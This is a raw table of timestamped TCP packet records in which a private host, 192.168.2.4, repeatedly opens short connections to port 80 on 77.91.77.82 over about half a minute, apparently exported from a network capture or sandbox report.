Jul 4, 2024 00:01:42.304935932 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.417840004 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.418277025 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.429996967 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:42.430058956 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.430670977 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.431529045 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:42.431574106 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:42.438321114 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.138324976 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.142199993 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.145231962 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.145256042 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.150386095 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.150396109 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.150672913 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.150692940 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.151628017 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.156408072 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.866914034 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.867089033 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.981748104 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.982234955 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.987098932 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.987123013 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:43.987148046 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.987205982 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.987610102 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:43.992392063 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:44.891684055 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:44.893143892 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:44.893209934 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.896069050 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.896089077 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.900067091 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.902550936 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:44.902817011 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:44.902965069 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.902971983 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.904086113 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:44.909163952 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:45.632282972 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:45.632443905 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.744080067 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.744080067 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.751045942 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:45.751449108 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:45.751540899 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.751540899 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.751802921 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:45.758920908 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:46.454767942 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:46.454823971 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.459839106 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.460478067 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.466617107 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:46.466661930 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.466978073 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:46.467051983 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.467338085 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:46.474415064 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:47.207231045 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:47.208148003 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.323183060 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.323183060 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.498327971 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:47.498353004 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:47.498459101 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.498523951 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.498970985 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:47.505778074 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.212585926 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.212642908 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.228873014 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.229316950 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.235534906 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.235609055 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.235776901 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.236593008 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.236637115 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:48.242719889 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.958359957 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:48.960201025 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.076077938 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.076077938 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.083353996 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.083549023 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.083585978 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.083690882 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.087672949 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.091557980 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.806390047 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.806463957 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.812309027 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.813339949 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.821389914 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.821444988 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.821532011 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:49.821599007 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.822127104 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:49.830019951 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:50.554821014 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:50.554882050 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.666856050 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.667234898 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.673962116 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:50.674078941 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.674218893 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:50.674266100 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.674339056 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:50.681435108 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.375958920 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.376070023 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.378607988 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.380079985 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.385950089 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.386200905 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.386324883 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.388190031 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.392098904 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.397839069 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.398905993 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.400167942 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.512099028 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.519577026 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:51.519805908 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.520226955 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:51.527285099 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.221702099 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.221759081 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.226453066 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.226834059 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.236777067 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.236835957 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.237236023 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.238615990 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.238665104 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:52.246268988 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.951169014 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:52.951564074 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.056519032 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.056847095 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.063622952 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.063848019 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.064424038 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.068397999 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.068398952 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.084842920 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.781213045 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.786597967 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.786597967 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.788075924 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.794264078 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.795290947 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:53.796202898 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.796202898 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.796272039 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:53.803842068 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:54.520792007 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:54.520842075 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.636168003 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.636565924 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.643381119 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:54.643419981 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:54.643429041 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.643481016 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.643738985 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:54.650832891 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:55.355501890 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:55.355632067 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.358194113 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.358206034 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.365020990 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:55.365489960 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:55.365586996 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.365588903 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.365806103 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:55.372797012 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.092948914 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.093020916 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.198263884 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.198678970 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.207755089 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.207808971 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.207953930 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.208019972 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.208244085 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.216581106 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.901268005 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.902851105 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.906209946 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.906214952 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.917797089 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.918179035 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.918299913 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:56.918330908 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.918426037 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:56.926069021 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:57.632285118 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:57.632783890 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.746215105 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.746215105 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.751147985 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:57.751369953 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.751578093 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.751591921 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:57.751682043 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:57.756547928 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:58.490212917 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:58.490334034 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.493242979 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.493515968 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.498321056 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:58.498399973 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.500307083 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:58.500396967 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.500617981 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:58.505354881 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:59.215234041 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:59.221347094 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.337778091 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.338135958 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.342909098 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:59.343030930 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:59.343060970 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.343216896 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.343285084 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:59.349236012 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.065958977 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.066023111 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.069658995 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.069926977 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.076642990 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.076694012 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.077291012 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.077349901 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.077475071 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.084099054 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.818177938 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.820158958 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.956578970 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.960074902 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.964410067 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.964999914 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:00.965112925 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.965112925 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.965415955 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:00.971307039 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:01.663034916 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:01.663175106 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.666312933 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.670156002 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.673048019 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:01.674230099 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.676927090 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:01.677052975 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.677294970 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:01.683558941 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:02.390556097 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:02.390623093 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.495229959 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.495699883 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.508826017 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:02.508876085 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.509331942 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:02.509394884 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.509639978 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:02.524246931 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:03.224704981 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:03.226284027 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.250155926 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.250180006 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.258305073 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:03.258594036 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:03.262255907 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.262259960 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.266175032 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:03.273232937 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.084871054 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.084933996 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.198448896 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.198894978 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.205845118 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.205887079 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.206125975 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.206193924 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.206507921 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.213963985 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.908628941 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.913451910 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.914952993 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.916084051 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.921430111 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.921950102 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:04.924221039 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.924226999 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.924292088 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:04.929210901 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:05.623805046 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:05.623945951 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.728925943 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.729299068 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.736077070 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:05.736197948 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.736479044 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.736751080 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:05.740159035 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:05.742633104 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:06.442641973 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:06.442711115 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.446971893 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.447382927 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.454077005 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:06.454124928 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.454348087 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:06.454408884 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.454673052 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:06.464618921 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:07.174076080 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:07.174226046 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.294292927 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.294292927 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.301240921 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:07.301614046 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:07.301711082 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.301711082 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.301969051 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:07.309863091 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.004137993 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:08.004210949 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.007576942 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.008074999 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:08.013681889 CEST	80	49934	77.91.77.82	192.168.2.4
